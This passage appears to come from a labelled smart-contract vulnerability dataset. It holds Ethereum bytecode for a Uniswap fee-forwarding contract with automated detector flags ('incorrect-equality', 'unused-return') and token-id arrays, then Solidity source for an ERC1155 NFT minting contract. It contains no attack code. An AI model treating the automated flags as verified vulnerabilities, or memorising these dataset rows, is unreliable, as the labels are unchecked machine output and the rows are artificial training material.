65b60045481906001600160a01b0316610a095750610c63565b6001546001600160a01b0384811691161415610a4657600554610a41906001600160a01b03858116913391168563ffffffff610e5416565b610c61565b6001600160a01b0380841660009081526002602090815260408083206001805490951684529091529020541180610ad557506001600160a01b038381166000908152600360205260409020541615801590610ad557506001600160a01b038084166000908152600360209081526040808320548416835260028252808320600180549095168452909152902054115b15610c2a57610af56001600160a01b03841633308463ffffffff610e5416565b604080516370a0823160e01b815230600482015290516000916001600160a01b038616916370a0823191602480820192602092909190829003018186803b158015610b3f57600080fd5b505afa158015610b53573d6000803e3d6000fd5b505050506040513d6020811015610b6957600080fd5b5051600154909150610b869085906001600160a01b031683610eae565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d6020811015610bfb57600080fd5b5051600554600154919250610c23916001600160a01b0390811691168363ffffffff61159c16565b5050610c61565b60405162461bcd60e51b815260040180806020018281038252603281526020018061197b6032913960400191505060405180910390fd5b505b5050565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610cb257600080fd5b505afa158015610cc6573d6000803e3d6000fd5b505050506040513d6020811015610cdc57600080fd5b5051610d20576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b038116610d7b576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6001546001600160a01b031681565b7388ef27e69108b2633f8e1c184cc37940a075cc0281565b60026020528260005260406000206020528160005260406000208181548110610df857fe5b6000918252602090912001546001600160a01b0316925083915050565b6005546001600160a01b031681565b731f9840a85d5af5bf1d1762f925bdaddc4201f98481565b736b175474e89094c44da98b954eedeac495271d0f81565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526107ed9085906115ea565b80610eb857610c61565b6001600160a01b038381166000908152600360205260409020541615611388576001600160a01b0380841660008181526003602052604081205490921691610f1c919073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f9063ffffffff6117a216565b610f4a6001600160a01b03851673d9e1ce17f2641f24ae83637ab66a2cca9c378b9f8463ffffffff6117a216565b6001600160a01b038481166000908152600260209081526040808320938516835292905281902090516338ed173960e01b8152600481018481526001602483018190523060648401819052426084850181905260a060448601908152865460a4870181905273d9e1ce17f2641f24ae83637ab66a2cca9c378b9f976338ed1739978b9791959493919260c4909101908690801561101057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ff2575b50509650505050505050600060405180830381600087803b15801561103457600080fd5b505af1158015611048573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561107157600080fd5b8101908080516040519392919084600160201b82111561109057600080fd5b9083019060208201858111156110a557600080fd5b82518660208202830111600160201b821117156110c157600080fd5b82525081516020918201928201910280838360005b838110156110ee5781810151838201526020016110d6565b505050509190910160408181526370a0823160e01b825230600483015251600096506001600160a01b03881695506370a08231945060248083019450602093509091829003018186803b15801561114457600080fd5b505afa158015611158573d6000803e3d6000fd5b505050506040513d602081101561116e57600080fd5b505190506111a16001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d600063ffffffff6117a216565b6111cf6001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d8363ffffffff6117a216565b6001600160a01b038281166000908152600260209081526040808320938816835292905281902090516338ed173960e01b8152600481018381526001602483018190523060648401819052426084850181905260a060448601908152865460a48701819052737a250d5630b4cf539739df2c5dacb4c659f2488d976338ed1739978a9791959493919260c4909101908690801561129557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611277575b50509650505050505050600060405180830381600087803b1580156112b957600080fd5b505af11580156112cd573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156112f657600080fd5b8101908080516040519392919084600160201b82111561131557600080fd5b90830190602082018581111561132a57600080fd5b82518660208202830111600160201b8211171561134657600080fd5b82525081516020918201928201910280838360005b8381101561137357818101518382015260200161135b565b50505050905001604052505050505050610c61565b6113b76001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d600063ffffffff6117a216565b6113e56001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d8363ffffffff6117a216565b6001600160a01b038381166000908152600260209081526040808320938616835292905281902090516338ed173960e01b8152600481018381526001602483018190523060648401819052426084850181905260a060448601908152865460a48701819052737a250d5630b4cf539739df2c5dacb4c659f2488d976338ed1739978a9791959493919260c490910190869080156114ab57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161148d575b50509650505050505050600060405180830381600087803b1580156114cf57600080fd5b505af11580156114e3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561150c57600080fd5b8101908080516040519392919084600160201b82111561152b57600080fd5b90830190602082018581111561154057600080fd5b82518660208202830111600160201b8211171561155c57600080fd5b82525081516020918201928201910280838360005b83811015611589578181015183820152602001611571565b5050505090500160405250505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c619084905b6115fc826001600160a01b03166118b5565b61164d576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061168b5780518252601f19909201916020918201910161166c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146116ed576040519150601f19603f3d011682016040523d82523d6000602084013e6116f2565b606091505b509150915081611749576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156107ed5780806020019051602081101561176557600080fd5b50516107ed5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a20602a913960400191505060405180910390fd5b801580611828575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156117fa57600080fd5b505afa15801561180e573d6000803e3d6000fd5b505050506040513d602081101561182457600080fd5b5051155b6118635760405162461bcd60e51b8152600401808060200182810382526036815260200180611a4a6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610c619084906115ea565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906118e957508115155b949350505050565b828054828255906000526020600020908101928215611946579160200282015b8281111561194657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611911565b50611952929150611956565b5090565b61088991905b808211156119525780546001600160a01b031916815560010161195c56fe466565526577617264466f727761726465723a206c69717569646174696f6e207061746820646f65736e277420657869737454686520666972737420746f6b656e206f662074686520556e697377617020726f757465206d757374206265207468652066726f6d20746f6b656e546865206c61737420746f6b656e206f662074686520556e697377617020726f757465206d7573742062652074686520746f20746f6b656e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a723158206ae4f07e925ef8ff0394404fe2126de714de1116027ab65bfa7a73837b81ace064736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 7959, 2683, 16932, 22025, 22275, 27717, 2509, 2546, 25062, 2620, 2620, 2509, 2278, 2509, 2063, 2683, 2063, 2692, 2620, 7959, 2581, 23352, 2692, 2497, 2475, 2278, 19481, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1013, 21208, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 8022, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,016
0x9610043D2C03A80EAF9bB5F512ab1C587f415b7a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "ERC1155.sol"; import "Counters.sol"; import "Ownable.sol"; import "Strings.sol"; // For Rarible royalties; OpenSea royalties set manually in collection manager library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account, uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // For OpenSea whitelisting contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract AstronomicsExoplanets is ERC1155, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; // New Marketplace royalty standard bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; bytes4 constant _INTERFACE_ID_ROYALTIES = 0x44c74bcc; string public LICENSE_TEXT = "GPLv2"; uint256 public planetPrice = 0; // 0.0 ETH to start // uint256 public planetSetPrice = 300000000000000; // 0.0003 ETH uint256 public planetSetPrice = 100000000000000000; // 0.1 ETH uint96 public royaltyBPS = 700; // 7% royalty for Rarible/Mintable uint public constant maxPlanetPurchase = 5; // uint256 public constant MAX_PLANETS = 50; // uint256 public constant FREE_PLANETS = 20; // NOTE: remember to change site // uint256 public constant ALLOWED_PLANETS = 22; uint256 public constant MAX_PLANETS = 4000; uint256 public constant FREE_PLANETS = 100; uint256 public constant ALLOWED_PLANETS = 1000; bool public saleIsActive = false; bool public priceIsSet = false; string public name; string public symbol; string public prerevealURI = "https://gateway.pinata.cloud/ipfs/QmZPAsceAWvwWqMQHdCXSCNnwfVg4hQzGEXPkzcMn5CrQL"; // For OpenSea gas free sale listing // address proxyRegistryAddress = 0xF57B2c51dED3A29e6891aba85459d600256Cf317; //rinkeby address proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; //mainnet string public baseTokenURI; bool public baseTokenUriNotSet = true; // Not passing final URI yet constructor(string memory _name, string memory _symbol) ERC1155("") { name = _name; symbol = _symbol; } function toHex16 (bytes16 data) internal pure returns (bytes32 result) { result = bytes32(data) & 0xFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000 | (bytes32(data) & 0x0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000) >> 64; result = result & 0xFFFFFFFF000000000000000000000000FFFFFFFF000000000000000000000000 | (result & 0x00000000FFFFFFFF000000000000000000000000FFFFFFFF0000000000000000) >> 32; result = result & 0xFFFF000000000000FFFF000000000000FFFF000000000000FFFF000000000000 | (result & 0x0000FFFF000000000000FFFF000000000000FFFF000000000000FFFF00000000) >> 16; result = result & 0xFF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000 | (result & 0x00FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF0000) >> 8; result = (result & 0xF000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F000) >> 4 | (result & 0x0F000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F00) >> 8; result = bytes32 (0x3030303030303030303030303030303030303030303030303030303030303030 + uint256(result) + (uint256(result) + 0x0606060606060606060606060606060606060606060606060606060606060606 >> 4 & 0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F) * 39); } function bytes32ToString (bytes32 data) public pure returns (string memory) { return string(abi.encodePacked(toHex16 (bytes16 (data)), toHex16(bytes16 (data << 128)))); } // Override for custom uri function uri(uint256 _tokenId) override public view returns (string memory) { if (baseTokenUriNotSet) { // pre-reveal metadata return prerevealURI; } return string(abi.encodePacked(baseTokenURI, bytes32ToString(sha256(abi.encodePacked(Strings.toString(_tokenId)))), ".json")); } function setBaseTokenURI(string memory newuri) public onlyOwner { if (baseTokenUriNotSet) { baseTokenUriNotSet = !baseTokenUriNotSet; } baseTokenURI = newuri; } // Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings. function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(account)) == operator) { return true; } return ERC1155.isApprovedForAll(account, operator); } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function totalSupply() public view virtual returns (uint256) { return _tokenIds.current(); } // Returns balance of all tokens owned by address. function balanceOfPlanet(address account) public view virtual returns (uint256) { require(account != address(0), "No zero"); uint256 balance = 0; for (uint256 i = 0; i < totalSupply(); ++i) { balance += balanceOf(account, i); } return balance; } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(owner != address(0), "No zero"); uint256 tokenCount = 0; for (uint256 i = 0; i < totalSupply(); ++i) { tokenCount += balanceOf(owner, i); } // Needed tokenCount for fixed array size (memory array) uint256[] memory ids = new uint256[](tokenCount); uint256 j = 0; for (uint256 i = 0; i < totalSupply(); ++i) { if (1 == balanceOf(owner, i)) { ids[j] = i; j++; } } return ids; } // Minting method (supply = 1 for all tokens) function _mintNFTs(address account, uint256 numberOfTokens) internal virtual { if (numberOfTokens == 1) { _mint(account, totalSupply(), 1, ""); _tokenIds.increment(); } else { uint256[] memory ids = new uint256[](numberOfTokens); uint256[] memory amounts = new uint256[](numberOfTokens); for (uint256 i = 0; i < numberOfTokens; ++i) { ids[i] = totalSupply() + i; amounts[i] = 1; //only 1 per token, an NFT } _mintBatch(account, ids, amounts, ""); // Update counters for (uint256 i = 0; i < numberOfTokens; ++i) { _tokenIds.increment(); } } } function reservePlanets(address _to, uint _reserveAmount) public onlyOwner { require((totalSupply() + _reserveAmount) <= MAX_PLANETS, "Exceeds max. supply of planets"); require(_reserveAmount > 0, "Must be positive number"); if (((totalSupply() + _reserveAmount) >= FREE_PLANETS) && !priceIsSet) { planetPrice = planetSetPrice; priceIsSet = !priceIsSet; } _mintNFTs(_to, _reserveAmount); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } // Returns the license for tokens function tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "Invalid Token"); return LICENSE_TEXT; } // Change the mintPrice function setMintPrice(uint256 newPrice) public onlyOwner { require(newPrice != planetPrice, "Not new"); planetPrice = newPrice; } // Change the royaltyBPS function setRoyaltyBPS(uint96 newRoyaltyBPS) public onlyOwner { require(newRoyaltyBPS != royaltyBPS, "Not new"); royaltyBPS = newRoyaltyBPS; } function mintPlanets(uint numberOfTokens) public payable { require(saleIsActive, "Sale Inactive"); require(totalSupply() + numberOfTokens <= MAX_PLANETS, "Exceeds max. supply of planets"); if (totalSupply() < FREE_PLANETS) { require(numberOfTokens == 1, "May only mint 1 free planet"); require(msg.value == 0, "Check price"); require(balanceOfPlanet(msg.sender) == 0, "Cannot mint free planet if you already own one"); } else { require(numberOfTokens > 0 && numberOfTokens <= maxPlanetPurchase, "May only mint between 1 and 5 planets at a time"); require(msg.value == planetPrice * numberOfTokens, "Check price"); require((balanceOfPlanet(msg.sender) + numberOfTokens) <= ALLOWED_PLANETS, "Exceeds max. allowed planets per wallet in order to mint"); } if (((totalSupply() + numberOfTokens) >= FREE_PLANETS) && !priceIsSet) { planetPrice = planetSetPrice; priceIsSet = !priceIsSet; } _mintNFTs(msg.sender, numberOfTokens); } // Rarible royalty interface new function getRaribleV2Royalties(uint256 /*id*/) external view returns (LibPart.Part[] memory) { LibPart.Part[] memory _royalties = new LibPart.Part[](1); _royalties[0].value = royaltyBPS; _royalties[0].account = payable(owner()); return _royalties; } // Mintable/ERC2981 royalty handler function royaltyInfo(uint256 /*_tokenId*/, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) { return (owner(), (_salePrice * royaltyBPS)/10000); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155) returns (bool) { if(interfaceId == _INTERFACE_ID_ROYALTIES) { return true; } if(interfaceId == _INTERFACE_ID_ERC2981) { return true; } return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "IERC1155.sol"; import "IERC1155Receiver.sol"; import "IERC1155MetadataURI.sol"; import "Address.sol"; import "Context.sol"; import "ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address 